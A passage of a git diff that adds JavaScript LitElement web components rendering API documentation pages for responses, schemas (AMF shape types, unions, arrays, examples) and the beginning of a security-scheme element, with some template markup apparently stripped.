customDomainPropertiesTemplate, +} from './ApiDocumentationBase.js'; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiResponse} ApiResponse */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiPayload} ApiPayload */ +/** @typedef {import('@api-components/amf-helper-mixin').Response} Response */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiTemplatedLink} ApiTemplatedLink */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiIriTemplateMapping} ApiIriTemplateMapping */ +/** @typedef {import('@anypoint-web-components/anypoint-radio-button/index').AnypointRadioGroupElement} AnypointRadioGroupElement */ + +export const queryResponse = Symbol('queryResponse'); +export const responseValue = Symbol('responseValue'); +export const queryPayloads = Symbol('queryPayloads'); +export const payloadsValue = Symbol('payloadsValue'); +export const payloadValue = Symbol('payloadValue'); +export const headersTemplate = Symbol('headersTemplate'); +export const payloadTemplate = Symbol('payloadTemplate'); +export const payloadSelectorTemplate = Symbol('payloadSelectorTemplate'); +export const linksTemplate = Symbol('linksTemplate'); +export const linkTemplate = Symbol('linkTemplate'); +export const linkOperationTemplate = Symbol('linkOperationTemplate'); +export const linkMappingsTemplate = Symbol('mappingsTemplate'); +export const linkMappingTemplate = Symbol('linkMappingTemplate'); +export const mediaTypeSelectHandler = Symbol('mediaTypeSelectHandler'); + +/** + * A web component that renders the documentation page for an API response object. + */ +export default class ApiResponseDocumentElement extends ApiDocumentationBase { + get styles() { + return [commonStyles, elementStyles, MarkdownStyles]; + } + + /** + * @returns {boolean} true when has headers parameters definition + */ + get hasHeaders() { + const response = this[responseValue]; + if (!response) { + return false; + } + return Array.isArray(response.headers) && !!response.headers.length; + } + + /** + * @returns {ApiPayload|undefined} + */ + get [payloadValue]() { + const { mimeType } = this; + const payloads = this[payloadsValue]; + if (!Array.isArray(payloads) || !payloads.length) { + return undefined; + } + if (!mimeType) { + return payloads[0]; + } + return payloads.find((item) => item.mediaType === mimeType); + } + + /** + * @returns {ApiResponse} + */ + get response() { + return this[responseValue]; + } + + /** + * @param {ApiResponse} value + */ + set response(value) { + const old = this[responseValue]; + if (old === value) { + return; + } + this[responseValue] = value; + this.processGraph(); + } + + static get properties() { + return { + /** + * When set it opens the headers section + */ + headersOpened: { type: Boolean, reflect: true }, + /** + * When set it opens the payload section + */ + payloadOpened: { type: Boolean, reflect: true }, + /** + * The currently selected media type for the payloads. + */ + mimeType: { type: String, reflect: true }, + }; + } + + constructor() { + super(); + /** + * @type {ApiResponse} + */ + this[responseValue] = undefined; + /** + * @type {ApiPayload[]} + */ + this[payloadsValue] = undefined; + /** + * @type {string} + */ + this.mimeType = undefined; + + this.headersOpened = false; + this.payloadOpened = false; + /** @type Response */ + this.domainModel = undefined; + } + + /** + * Queries the graph store for the API Response data. + * @returns {Promise} + */ + async processGraph() { + const { domainModel } = this; + if (domainModel) { + this[responseValue] = this[serializerValue].response(domainModel); + } + this[queryPayloads](); + await this.requestUpdate(); + } + + [queryPayloads]() { + const { response } = this; + if (!response || !Array.isArray(response.payloads) || !response.payloads.length) { + this[payloadsValue] = undefined; + return; + } + this[payloadsValue] = response.payloads; + } + + /** + * @param {Event} e + */ + [mediaTypeSelectHandler](e) { + const group = /** @type AnypointRadioGroupElement */ (e.target); + const { selectedItem } = group; + if (!selectedItem) { + return; + } + const mime = selectedItem.dataset.value; + this.mimeType = mime; + } + + render() { + if (!this[responseValue]) { + return html``; + } + return html` + + ${this[customDomainPropertiesTemplate](this[responseValue].customDomainProperties)} + ${this[descriptionTemplate](this[responseValue].description)} + ${this[headersTemplate]()} + ${this[linksTemplate]()} + ${this[payloadTemplate]()} + `; + } + + /** + * @returns {TemplateResult|string} The template for the headers + */ + [headersTemplate]() { + if (!this.hasHeaders) { + return ''; + } + const { response } = this; + const content = response.headers.map((id) => this[schemaItemTemplate](id)); + return this[paramsSectionTemplate]('Headers', 'headersOpened', content); + } + + /** + * @returns {TemplateResult|string} The template for the payload section + */ + [payloadTemplate]() { + const payload = this[payloadValue]; + if (!payload) { + return ''; + } + const content = html` + ${this[payloadSelectorTemplate]()} + + `; + return this[paramsSectionTemplate]('Response body', 'payloadOpened', content); + } + + /** + * @returns {TemplateResult|string} The template for the payload media type selector. + */ + [payloadSelectorTemplate]() { + const payloads = this[payloadsValue]; + if (!Array.isArray(payloads) || payloads.length < 2) { + return ''; + } + const mime = /** @type string[] */ ([]); + payloads.forEach((item) => { + if (item.mediaType) { + mime.push(item.mediaType); + } + }); + if (!mime.length) { + return ''; + } + const mimeType = this.mimeType || mime[0]; + return html` +
+ + + ${mime.map((item) => + html`${item}`)} + +
+ `; + } + + /** + * @returns {TemplateResult|string} The template for the response links + */ + [linksTemplate]() { + const { response } = this; + if (!response) { + return ''; + } + const { links=[] } = response; + if (!Array.isArray(links) || !links.length) { + return ''; + } + return html` + + ${links.map((link) => this[linkTemplate](link))} + `; + } + + /** + * @param {ApiTemplatedLink} link + * @returns {TemplateResult} A template for the link + */ + [linkTemplate](link) { + const { name, mapping, operationId, } = link; + return html` + + ${this[linkOperationTemplate](operationId)} + + `; + } + + /** + * @param {string} operationId + * @returns {TemplateResult|string} The template for the link's operation + */ + [linkOperationTemplate](operationId) { + if (!operationId) { + return ''; + } + return html` +
+ Operation ID: + ${operationId} +
+ `; + } + + /** + * @param {ApiIriTemplateMapping[]} mappings + * @returns {TemplateResult|string} The template for the link's operation + */ + [linkMappingsTemplate](mappings) { + if (!mappings) { + return ''; + } + return html` + + + + + + ${mappings.map(item => this[linkMappingTemplate](item))} +
VariableExpression
+ `; + } + + /** + * @param {ApiIriTemplateMapping} mapping + * @returns {TemplateResult} The template for the link's operation + */ + [linkMappingTemplate](mapping) { + const { linkExpression, templateVariable } = mapping; + return html` + + ${templateVariable} + ${linkExpression} + + `; + } +} diff --git a/src/elements/ApiSchemaDocumentElement.js b/src/elements/ApiSchemaDocumentElement.js new file mode 100644 index 0000000..8c26237 --- /dev/null +++ b/src/elements/ApiSchemaDocumentElement.js @@ -0,0 +1,908 @@ +/* eslint-disable no-plusplus */ +/* eslint-disable class-methods-use-this */ +import { html } from 'lit-element'; +import { classMap } from "lit-html/directives/class-map"; +import { ns } from '@api-components/amf-helper-mixin'; +import { MarkdownStyles } from '@advanced-rest-client/highlight'; +import { ApiSchemaGenerator } from '@api-components/api-schema'; +import '@advanced-rest-client/highlight/arc-marked.js'; +import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-button.js'; +import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-group.js'; +import { chevronRight } from '@advanced-rest-client/arc-icons'; +import commonStyles from './styles/Common.js'; +import elementStyles from './styles/ApiSchema.js'; +import schemaStyles from './styles/SchemaCommon.js'; +import { readPropertyTypeLabel, isScalarUnion, isScalarType } from '../lib/Utils.js'; +import { + detailsTemplate, + paramNameTemplate, + typeValueTemplate, + fileDetailsTemplate, + scalarDetailsTemplate, + unionDetailsTemplate, + pillTemplate, +} from './SchemaCommonTemplates.js'; +import { + ApiDocumentationBase, + serializerValue, + descriptionTemplate, + customDomainPropertiesTemplate, + evaluateExamples, + examplesTemplate, + examplesValue, +} from './ApiDocumentationBase.js'; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').Shape} Shape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiShape} ApiShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiExample} ApiExample */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiUnionShape} ApiUnionShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiFileShape} ApiFileShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSchemaShape} ApiSchemaShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiAnyShape} ApiAnyShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiTupleShape} ApiTupleShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiPropertyShape} ApiPropertyShape */ +/** @typedef {import('@api-components/api-schema').SchemaExample} SchemaExample */ + +export const mimeTypeValue = Symbol('mimeTypeValue'); +export const querySchema = Symbol('querySchema'); +export const schemaValue = Symbol('schemaValue'); +export const expandedValue = Symbol('expandedValue'); +export const selectedUnionsValue = Symbol('unionsValue'); +export const processSchema = Symbol('processSchema'); +export const titleTemplate = Symbol('titleTemplate'); +export const expandHandler = Symbol('expandHandler'); +export const expandKeydownHandler = Symbol('expandKeydownHandler'); +export const anyOfSelectedHandler = Symbol('anyOfSelectedHandler'); +export const schemaContentTemplate = Symbol('schemaContentTemplate'); +export const scalarShapeTemplate = Symbol('scalarSchemaTemplate'); +export const nodeShapeTemplate = Symbol('nodeShapeTemplate'); +export const unionShapeTemplate = Symbol('unionShapeTemplate'); +export const fileShapeTemplate = Symbol('fileShapeTemplate'); +export const schemaShapeTemplate = Symbol('schemaShapeTemplate'); +export const arrayShapeTemplate = Symbol('arrayShapeTemplate'); +export const tupleShapeTemplate = Symbol('tupleShapeTemplate'); +export const anyShapeTemplate = Symbol('anyShapeTemplate'); +export const shapePropertyTemplate = Symbol('shapePropertyTemplate'); +export const shapePropertyWithoutRangeTemplate = Symbol('shapePropertyWithoutRangeTemplate'); +export const anyOfUnionTemplate = Symbol('anyOfUnionTemplate'); +export const anyOfOptionsTemplate = Symbol('anyOfOptionsTemplate'); +export const propertyDescriptionTemplate = Symbol('propertyDescriptionTemplate'); +export const propertyDescriptionEditor = Symbol('propertyDescriptionEditor'); +export const checkSchemaPropertyUpdate = Symbol('checkSchemaPropertyUpdate'); +export const propertyDecoratorTemplate = Symbol('propertyDecoratorTemplate'); +export const toggleExpandedProperty = Symbol('toggleExpandedProperty'); +export const andUnionItemTemplate = Symbol('andUnionItemTemplate'); +export const orderUnion = Symbol('orderUnion'); +export const inheritanceNameTemplate = Symbol('inheritanceNameTemplate'); +export const nilShapeTemplate = Symbol('nilShapeTemplate'); + +const complexTypes = [ + ns.w3.shacl.NodeShape, + ns.aml.vocabularies.shapes.UnionShape, + ns.aml.vocabularies.shapes.ArrayShape, + ns.aml.vocabularies.shapes.TupleShape, + ns.aml.vocabularies.shapes.AnyShape, +]; + +export default class ApiSchemaDocumentElement extends ApiDocumentationBase { + get styles() { + return [commonStyles, schemaStyles, elementStyles, MarkdownStyles]; + } + + get mimeType() { + return this[mimeTypeValue]; + } + + set mimeType(value) { + const old = this[mimeTypeValue]; + if (old === value) { + return; + } + this[mimeTypeValue] = value; + this.requestUpdate('mimeType', old); + setTimeout(() => { + this[processSchema](); + this.requestUpdate(); + }); + } + + /** + * @returns {ApiShapeUnion} + */ + get schema() { + return this[schemaValue]; + } + + /** + * @param {ApiShapeUnion} value + */ + set schema(value) { + const old = this[schemaValue]; + if (old === value) { + return; + } + this[schemaValue] = value; + this.processGraph(); + } + + static get properties() { + return { + /** + * The mime type to use to render the examples. + */ + mimeType: { type: String, reflect: true }, + /** + * Generates examples from the schema properties for the given mime type + * when examples are not defined in the schema. + */ + forceExamples: { type: Boolean, reflect: true }, + /** + * When set it allows to manipulate the properties. + * This is to be used with a combination with the `edit` property. + */ + editProperties: { type: Boolean, reflect: true }, + /** + * When set it renders the title with lower emphasis and adding `schema` prefix. + */ + schemaTitle: { type: Boolean, reflect: true }, + /** + * When set it does not render read only items. + * Read only property is a feature of OAS. + */ + noReadOnly: { type: Boolean }, + }; + } + + constructor() { + super(); + /** + * @type {ApiShapeUnion} + */ + this[schemaValue] = undefined; + /** + * @type {string[]} + */ + this[expandedValue] = undefined; + /** + * @type {Record} + */ + this[selectedUnionsValue] = undefined; + /** + * @type {string} + */ + this[propertyDescriptionEditor] = undefined; + /** + * @type {string} + */ + this.mimeType = undefined; + /** @type boolean */ + this.forceExamples = undefined; + /** @type boolean */ + this.editProperties = undefined; + /** @type boolean */ + this.schemaTitle = undefined; + /** @type boolean */ + this.noReadOnly = undefined; + /** @type Shape */ + this.domainModel = undefined; + } + + /** + * @returns {Promise} + */ + async processGraph() { + const { domainModel, domainId, amf } = this; + if (domainModel) { + this[schemaValue] = this[serializerValue].unknownShape(domainModel); + } + this[expandedValue] = []; + this[selectedUnionsValue] = {}; + + if (domainId && amf) { + const declares = this._computeDeclares(amf); + const references = this._computeReferences(amf); + const model = this._computeType(declares, references, domainId); + if (model) { + this[schemaValue] = this[serializerValue].unknownShape(model); + } + } + + this[processSchema](); + await this.requestUpdate(); + } + + /** + * The logic to perform after schema is ready. + * This processes examples for the schema. + */ + [processSchema]() { + const type = /** @type ApiShapeUnion */ (this[schemaValue]); + if (!type) { + this[examplesValue] = undefined; + return; + } + if (isScalarType(type.types)) { + // we don't want to render examples for a scalar types. + this[examplesValue] = undefined; + return; + } + const anyShape = /** @type ApiAnyShape */ (type); + const { examples=[] } = anyShape; + let examplesCopy = [...examples]; + if (Array.isArray(type.inherits) && type.inherits.length) { + type.inherits.forEach((item) => { + const anyParent = /** @type ApiAnyShape */ (item); + if (Array.isArray(anyParent.examples) && anyParent.examples.length) { + examplesCopy = examplesCopy.concat([...anyParent.examples]); + } + }); + } + if (Array.isArray(examplesCopy) && examplesCopy.length) { + examplesCopy = examplesCopy.filter((i) => !!i.value || !!i.structuredValue); + } + if (Array.isArray(examplesCopy) && examplesCopy.length) { + const { mimeType='' } = this; + this[examplesValue] = this[evaluateExamples](examplesCopy, mimeType); + } else { + const { mimeType, forceExamples } = this; + this[examplesValue] = undefined; + if (mimeType && forceExamples) { + const selectedUnions = []; + const all = this[selectedUnionsValue]; + Object.keys(all).forEach((id) => { + if (!selectedUnions.includes(all[id])) { + selectedUnions.push(all[id]); + } + }); + const result = ApiSchemaGenerator.asExample(type, mimeType, { + selectedUnions, + renderExamples: true, + renderOptional: true, + }); + if (result) { + this[examplesValue] = [result]; + } + } + } + } + + /** + * Checks the current schema whether it contains a property with the given id + * and if so it updates its value. + * @param {ApiShapeUnion} schema + * @param {string} id + * @param {any} updated + */ + [checkSchemaPropertyUpdate](schema, id, updated) { + if (!schema) { + return; + } + const { types } = schema; + if (types.includes(ns.w3.shacl.NodeShape)) { + const type = /** @type ApiNodeShape */ (schema); + const { properties } = type; + for (let i = 0, len = properties.length; i < len; i++) { + const property = properties[i]; + if (property.id === id) { + properties[i] = updated; + this.requestUpdate(); + return; + } + if (property.range && property.range.id === id) { + property.range = updated; + this.requestUpdate(); + return; + } + } + return; + } + if (types.includes(ns.aml.vocabularies.shapes.UnionShape)) { + const type = /** @type ApiUnionShape */ (schema); + const { anyOf, or, and } = type; + if (Array.isArray(anyOf) && anyOf.length) { + anyOf.forEach((item) => this[checkSchemaPropertyUpdate](item, id, updated)); + } + if (Array.isArray(or) && or.length) { + or.forEach((item) => this[checkSchemaPropertyUpdate](item, id, updated)); + } + if (Array.isArray(and) && and.length) { + and.forEach((item) => this[checkSchemaPropertyUpdate](item, id, updated)); + } + return; + } + if (types.includes(ns.aml.vocabularies.shapes.ArrayShape) || types.includes(ns.aml.vocabularies.shapes.MatrixShape)) { + const type = /** @type ApiArrayShape */ (schema); + if (type.items) { + this[checkSchemaPropertyUpdate](type.items, id, updated) + } + } + } + + /** + * @param {Event} e + */ + [expandHandler](e) { + const button = /** @type HTMLElement */ (e.currentTarget); + const { id } = button.dataset; + this[toggleExpandedProperty](id); + } + + /** + * @param {KeyboardEvent} e + */ + [expandKeydownHandler](e) { + if (e.code !== 'Space') { + return; + } + e.preventDefault(); + const button = /** @type HTMLElement */ (e.currentTarget); + const { id } = button.dataset; + this[toggleExpandedProperty](id); + } + + /** + * Toggles an "expanded" state for a property children. + * @param {string} id Parent property id that has children to toggle visibility of. + */ + [toggleExpandedProperty](id) { + const list = this[expandedValue]; + const index = list.indexOf(id); + if (index === -1) { + list.push(id); + } else { + list.splice(index, 1); + } + this.requestUpdate(); + } + + [anyOfSelectedHandler](e) { + const { selected, dataset } = e.target + const { schema } = dataset; + if (!schema) { + return; + } + this[selectedUnionsValue][schema] = selected; + this[processSchema](); + this.requestUpdate(); + } + + /** + * Orders union items so the first is the one that has properties defined inline. + * @param {ApiShapeUnion[]} shapes + * @return {ApiShapeUnion[]} + */ + [orderUnion](shapes) { + return [...shapes].sort((a, b) => { + const aHasName = !!a.name && !a.name.startsWith('item'); + const bHasName = !!b.name && !b.name.startsWith('item'); + if (aHasName === bHasName) { + return 0; + } + return aHasName ? 1 : -1; + }); + } + + render() { + const schema = this[schemaValue]; + if (!schema) { + return html``; + } + return html` + + ${this[titleTemplate]()} + ${this[descriptionTemplate](schema.description)} + ${this[customDomainPropertiesTemplate](schema.customDomainProperties)} + ${this[examplesTemplate]()} + ${this[schemaContentTemplate](schema)} + `; + } + + /** + * @returns {TemplateResult|string} The template for the schema title. + */ + [titleTemplate]() { + const schema = this[schemaValue]; + const { name, displayName } = schema; + const label = displayName || name; + if (['schema', 'default'].includes(label)) { + return ''; + } + const typeName = name && label !== name && name !== 'schema' ? name : undefined; + const { schemaTitle } = this; + const headerCss = { + 'schema-title': true, + 'low-emphasis': !!schemaTitle, + }; + const prefix = schemaTitle ? 'Schema: ' : ''; + return html` +
+
+ ${prefix}${label} + ${typeName ? html`(${typeName})` : ''} +
+
+ `; + } + + /** + * @param {ApiShapeUnion} schema The shape to render. + * @returns {TemplateResult|string} The template for the schema properties depending on the type + */ + [schemaContentTemplate](schema) { + const { noReadOnly } = this; + if (schema.readOnly && noReadOnly) { + return ''; + } + const { types } = schema; + if (types.includes(ns.aml.vocabularies.shapes.ScalarShape)) { + return this[scalarShapeTemplate](/** @type ApiScalarShape */ (schema)); + } + if (types.includes(ns.w3.shacl.NodeShape)) { + return this[nodeShapeTemplate](/** @type ApiNodeShape */ (schema)); + } + if (types.includes(ns.aml.vocabularies.shapes.UnionShape)) { + return this[unionShapeTemplate](/** @type ApiUnionShape */ (schema)); + } + if (types.includes(ns.aml.vocabularies.shapes.FileShape)) { + return this[fileShapeTemplate](/** @type ApiFileShape */ (schema)); + } + if (types.includes(ns.aml.vocabularies.shapes.SchemaShape)) { + return this[schemaShapeTemplate](/** @type ApiSchemaShape */ (schema)); + } + if (types.includes(ns.aml.vocabularies.shapes.TupleShape)) { + return this[tupleShapeTemplate](/** @type ApiTupleShape */ (schema)); + } + if (types.includes(ns.aml.vocabularies.shapes.ArrayShape) || types.includes(ns.aml.vocabularies.shapes.MatrixShape)) { + return this[arrayShapeTemplate](/** @type ApiArrayShape */ (schema)); + } + if (types.includes(ns.aml.vocabularies.shapes.NilShape)) { + return this[nilShapeTemplate](/** @type ApiShape */ (schema)); + } + return this[anyShapeTemplate](/** @type ApiAnyShape */ (schema)); + } + + /** + * @param {ApiScalarShape} schema + * @returns {TemplateResult|string} The template for the scalar shape. + */ + [scalarShapeTemplate](schema) { + if (schema.readOnly && this.noReadOnly) { + return ''; + } + const type = typeValueTemplate(readPropertyTypeLabel(schema)); + return html` +
+ ${type} + ${scalarDetailsTemplate(schema, true)} +
+ `; + // return scalarDetailsTemplate(schema, true); + } + + /** + * @param {ApiNodeShape} schema + * @returns {TemplateResult|string} The template for the node shape. + */ + [nodeShapeTemplate](schema) { + const { properties, inherits, readOnly } = schema; + if (readOnly && this.noReadOnly) { + return ''; + } + let items = [...(properties || [])]; + if (Array.isArray(inherits) && inherits.length) { + inherits.forEach((item) => { + if (item.types.includes(ns.w3.shacl.NodeShape)) { + const typed = /** @type ApiNodeShape */ (item); + items = items.concat([...(typed.properties || [])]); + } + }); + } + if (!items.length) { + return html` +
Properties are not defined for this schema.
+ `; + } + return html` +
+ ${items.map((item) => this[shapePropertyTemplate](item))} +
+ `; + } + + // /** + // * @param {ApiShapeUnion[]} parents + // * @returns {TemplateResult[]|undefined} + // */ + // [inheritedTemplate](parents) { + // if (!Array.isArray(parents) || !parents.length) { + // return undefined; + // } + // const parts = []; + // parents.forEach((item) => { + // const tpl = this[schemaContentTemplate](item); + // if (tpl) { + // parts.push(tpl); + // } + // }); + // if (!parts.length) { + // return undefined; + // } + // return parts; + // } + + /** + * @param {ApiUnionShape} schema + * @returns {TemplateResult|string} The template for the union shape. + */ + [unionShapeTemplate](schema) { + const unionTemplate = unionDetailsTemplate(schema); + const allScalar = isScalarUnion(schema); + if (allScalar) { + return unionTemplate; + } + const { anyOf, or, and, xone } = schema; + if (Array.isArray(anyOf) && anyOf.length) { + const schemaContent = this[anyOfUnionTemplate](schema.id, anyOf); + return html` + ${unionTemplate} + ${schemaContent} + `; + } + if (Array.isArray(xone) && xone.length) { + const schemaContent = this[anyOfUnionTemplate](schema.id, xone); + return html` + ${unionTemplate} + ${schemaContent} + `; + } + if (Array.isArray(or) && or.length) { + const schemaContent = this[anyOfUnionTemplate](schema.id, or); + return html` + ${unionTemplate} + ${schemaContent} + `; + } + if (Array.isArray(and) && and.length) { + const items = this[orderUnion](and).map((item) => this[andUnionItemTemplate](item)); + return html` +
+ ${items} +
+ `; + } + return unionTemplate; + } + + /** + * @param {ApiShapeUnion} shape + */ + [andUnionItemTemplate](shape) { + return html` +
+ ${this[inheritanceNameTemplate](shape)} + ${this[schemaContentTemplate](shape)} +
+ `; + } + + /** + * @param {ApiShapeUnion} shape + * @returns {TemplateResult|string} The template for the "and" union item's title, if inherited from another type. + */ + [inheritanceNameTemplate](shape) { + const { name='' } = shape; + const hasName = !!name && !name.startsWith('item'); + if (hasName) { + return html`

Properties inherited from ${name}.

`; + } + return ''; + // return html`

Properties defined inline.

`; + } + + /** + * @param {string} schemaId + * @param {ApiShapeUnion[]} items + * @returns {TemplateResult} The template for the `any of` union. + */ + [anyOfUnionTemplate](schemaId, items) { + const allSelected = this[selectedUnionsValue]; + let selected = allSelected[schemaId]; + let renderedItem = /** @type ApiShapeUnion */ (null); + if (selected) { + renderedItem = items.find((item) => item.id === selected); + } else { + [renderedItem] = items; + selected = renderedItem.id; + } + const options = items.map((item) => { + const label = readPropertyTypeLabel(item); + // let label = item.name || item.displayName; + // if (!label && item.types.includes(ns.aml.vocabularies.shapes.ScalarShape)) { + // const { dataType } = /** @type ApiScalarShape */ (item); + // label = `${schemaToType(dataType)} (#${index + 1})`; + // } + // if (!label) { + // label = `Option #${index + 1}`; + // } + return { + label, + id: item.id, + } + }); + return html` +
+ ${this[anyOfOptionsTemplate](schemaId, options, selected)} + ${this[schemaContentTemplate](renderedItem)} +
+ `; + } + + /** + * @param {string} schemaId The parent schema id value + * @param {any[]} options The options to render. + * @param {string} selected + * @returns {TemplateResult} The template for the union any of selector. + */ + [anyOfOptionsTemplate](schemaId, options, selected) { + return html` +
+ + + ${options.map((item) => + html`${item.label}`)} + +
+ `; + } + + /** + * @param {ApiFileShape} schema + * @returns {TemplateResult|string} The template for the file shape. + */ + [fileShapeTemplate](schema) { + if (schema.readOnly && this.noReadOnly) { + return ''; + } + let noDetail = false; + if (schema === this[schemaValue]) { + noDetail = true; + } + return fileDetailsTemplate(schema, noDetail); + } + + /** + * @param {ApiSchemaShape} schema + * @returns {TemplateResult|string} The template for the schema shape. + */ + [schemaShapeTemplate](schema) { + const { raw, readOnly } = schema; + if (readOnly && this.noReadOnly) { + return ''; + } + if (!raw) { + return html` +
Schema is not defined for this message.
+ `; + } + return html` +
+
${raw}
+
+ `; + } + + /** + * @param {ApiArrayShape} schema + * @returns {TemplateResult|string} The template for the array shape. + */ + [arrayShapeTemplate](schema) { + const { items, readOnly } = schema; + if (readOnly && this.noReadOnly) { + return ''; + } + if (!items) { + return html`
Items are not defined for this array.
`; + } + let labelTemplate; + if (schema === this[schemaValue]) { + const label = readPropertyTypeLabel(schema, true); + labelTemplate = html` +
+
${label}
+
+ `; + } + return html` +
+ ${labelTemplate||''} + ${this[schemaContentTemplate](items)} +
+ `; + } + + /** + * @param {ApiTupleShape} schema + * @returns {TemplateResult|string} The template for the tuple shape. + */ + [tupleShapeTemplate](schema) { + const { items, readOnly } = schema; + if (readOnly && this.noReadOnly) { + return ''; + } + if (!items) { + return html`
Items are not defined for this array.
`; + } + return html` +
+ ${items.map((item) => this[schemaContentTemplate](item))} +
+ `; + } + + /** + * @param {ApiAnyShape} schema + * @returns {TemplateResult|string} The template for the Any shape. + */ + [anyShapeTemplate](schema) { + const { and=[], or=[], readOnly, xone=[] } = schema; + if (readOnly && this.noReadOnly) { + return ''; + } + if (and.length || or.length || xone.length) { + return this[unionShapeTemplate](/** @type ApiUnionShape */ (schema)); + } + return html`

Any schema is accepted as the value here.

`; + } + + /** + * @param {ApiShape} schema + * @returns {TemplateResult|string} The template for the Any shape. + */ + [nilShapeTemplate](schema) { + if (schema.readOnly && this.noReadOnly) { + return ''; + } + return html`

The value of this property is nil.

`; + } + + /** + * @param {ApiPropertyShape} schema + * @returns {TemplateResult|string} The template for the schema property item. + */ + [shapePropertyTemplate](schema) { + const { range, minCount, readOnly } = schema; + if (readOnly && this.noReadOnly) { + return ''; + } + if (!range) { + return this[shapePropertyWithoutRangeTemplate](schema); + } + const { displayName, deprecated } = range; + if (range.readOnly && this.noReadOnly) { + return ''; + } + const required = minCount > 0; + const type = readPropertyTypeLabel(range); + const label = displayName || schema.name || range.name; + const paramLabel = displayName ? schema.name || range.name : undefined; + const [domainType] = range.types; + let isComplex = complexTypes.includes(domainType); + if (isComplex) { + if (range.types.includes(ns.aml.vocabularies.shapes.TupleShape)) { + const { items=[] } = /** @type ApiTupleShape */ (range); + isComplex = complexTypes.includes(items[0].types[0]); + } else if (range.types.includes(ns.aml.vocabularies.shapes.ArrayShape)) { + const { items } = /** @type ApiArrayShape */ (range); + isComplex = complexTypes.includes(items.types[0]); + } else if (range.types.includes(ns.aml.vocabularies.shapes.UnionShape)) { + isComplex = !isScalarUnion(/** @type ApiUnionShape */ (range)); + } + } + const allExpanded = this[expandedValue]; + const expanded = isComplex && allExpanded.includes(schema.id); + const containerClasses = { + 'property-container': true, + complex: isComplex, + expanded, + }; + return html` +
+
+
+
+ ${this[propertyDecoratorTemplate](isComplex, expanded, schema.id)} + ${paramNameTemplate(label, required, deprecated, paramLabel)} + + ${typeValueTemplate(type)} + ${required ? pillTemplate('Required', 'This property is required.') : ''} +
+
+ ${this[propertyDescriptionTemplate](schema)} +
+
+ ${detailsTemplate(range)} +
+
+
+ ${expanded ? html` +
+
+ ${this[schemaContentTemplate](range)} +
+ ` : ''} + `; + } + + /** + * @param {boolean} isComplex + * @param {boolean} expanded + * @param {string} schemaId + * @returns {TemplateResult} THe template for the line decorator in front of the property name. + */ + [propertyDecoratorTemplate](isComplex, expanded, schemaId) { + const toggleIcon = isComplex ? html` + ${chevronRight} + ` : ''; + const decoratorClasses = { + 'property-decorator': true, + scalar: !isComplex, + object: !!isComplex, + }; + const toggleHandler = isComplex ? this[expandHandler] : undefined; + const keydownHandler = isComplex ? this[expandKeydownHandler] : undefined; + const tabIndex = isComplex ? '0' : '-1'; + return html` +

${toggleIcon}
+ `; + } + + /** + * @param {ApiPropertyShape} schema + * @returns {TemplateResult} The template for the schema property item that has no range information. + */ + [shapePropertyWithoutRangeTemplate](schema) { + const { minCount, name, displayName, deprecated } = schema; + const label = name || displayName || 'Unnamed property'; + const required = minCount > 0; + return html` +
+
+ ${paramNameTemplate(label, required, deprecated)} +
+ Unknown type +
+
+
+ ${this[propertyDescriptionTemplate](schema)} +
+
+ `; + } + + /** + * @param {ApiPropertyShape} schema + */ + [propertyDescriptionTemplate](schema) { + const { range, description } = schema; + if (!range || description) { + return this[descriptionTemplate](description); + } + return this[descriptionTemplate](range.description); + } +} diff --git a/src/elements/ApiSecurityDocumentElement.js b/src/elements/ApiSecurityDocumentElement.js new file mode 100644 index 0000000..265bc3b --- /dev/null +++ b/src/elements/ApiSecurityDocumentElement.js @@ -0,0 +1,647 @@ +/* eslint-disable no-param-reassign */ +/* eslint-disable class-methods-use-this */ +import { html } from 'lit-element'; +import { ns } from '@api-components/amf-helper-mixin'; +import { MarkdownStyles } from '@advanced-rest-client/highlight'; +import '@advanced-rest-client/highlight/arc-marked.js'; +import '@anypoint-web-components/anypoint-tabs/anypoint-tab.js'; +import '@anypoint-web-components/anypoint-tabs/anypoint-tabs.js'; +import { + ApiDocumentationBase, + paramsSectionTemplate, + schemaItemTemplate, + serializerValue, + descriptionTemplate, +} from './ApiDocumentationBase.js'; +import commonStyles from './styles/Common.js'; +import elementStyles from './styles/ApiSecurityDocument.js'; +import schemaStyles from './styles/SchemaCommon.js'; +import '../../api-parameter-document.js'; +import '../../api-response-document.js' + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityScheme} ApiSecurityScheme */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityRequirement} ApiSecurityRequirement */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityApiKeySettings} ApiSecurityApiKeySettings */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityOpenIdConnectSettings} ApiSecurityOpenIdConnectSettings */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityOAuth2Settings} ApiSecurityOAuth2Settings */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityOAuth2Flow} ApiSecurityOAuth2Flow */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityScope} ApiSecurityScope */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiResponse} ApiResponse */ +/** @typedef {import('@api-components/amf-helper-mixin').SecurityScheme} SecurityScheme */ +/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} 